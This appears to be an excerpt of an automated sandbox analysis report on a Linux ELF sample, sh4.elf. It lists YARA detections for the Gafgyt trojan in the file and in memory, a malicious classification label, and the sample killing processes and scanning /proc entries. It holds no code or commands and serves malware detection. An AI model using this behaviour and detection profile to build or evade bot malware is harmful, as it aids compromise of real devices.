Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 5532, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 5534, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 5538, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	SIGKILL sent: pid: 5541, result: successful	Jump to behavior
Source: /tmp/sh4.elf (PID: 5538)	SIGKILL sent: pid: 933, result: successful	Jump to behavior

Source: sh4.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: sh4.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5540.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5540.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5531.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5531.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5523.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5523.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5541.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5541.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5534.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5534.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5706.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5706.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5532.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5532.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5525.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5525.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5683.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5683.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5528.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5528.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5526.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5526.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5698.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5698.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: sh4.elf PID: 5523, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: sh4.elf PID: 5523, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: sh4.elf PID: 5525, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: sh4.elf PID: 5525, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: sh4.elf PID: 5526, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: sh4.elf PID: 5526, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: sh4.elf PID: 5531, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: sh4.elf PID: 5531, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: sh4.elf PID: 5534, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: sh4.elf PID: 5534, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: sh4.elf PID: 5540, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: sh4.elf PID: 5540, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: sh4.elf PID: 5541, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: sh4.elf PID: 5541, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: sh4.elf PID: 5683, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: sh4.elf PID: 5683, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: sh4.elf PID: 5706, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: sh4.elf PID: 5706, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16

Source: classification engine

Classification label: mal100.spre.troj.linELF@0/0@2/0

Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/5541/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/1185/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/3241/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/3483/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/1732/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/1730/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/1333/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/1695/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/3235/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/3234/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/515/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/911/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/5534/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/914/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/1617/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/5538/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/1615/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/917/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/917/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/917/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/3255/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/3253/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/1591/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/3252/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/3251/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/3250/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/1/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/1/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/1623/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/1588/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/3249/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/764/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/764/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/764/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/3368/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/1585/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/3246/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/3488/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/766/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/766/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/766/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/800/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/800/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/800/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/888/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/888/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/888/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/802/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/802/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/802/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/1509/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/803/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/803/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/803/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/804/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/804/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/804/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/1867/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/1484/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/490/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/490/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/490/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/1514/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/1634/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/1479/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/1875/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/654/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/3379/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/655/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/777/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/777/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/777/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/931/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/931/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/931/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/656/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/1595/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/657/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/933/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/933/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/933/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/812/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/812/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/812/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/779/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/779/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/779/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/658/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/658/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/658/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/418/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/419/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/3419/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/3310/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/3275/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/3274/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/3273/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/3394/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/3272/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/782/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/782/exe	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	File opened: /proc/782/fd	Jump to behavior
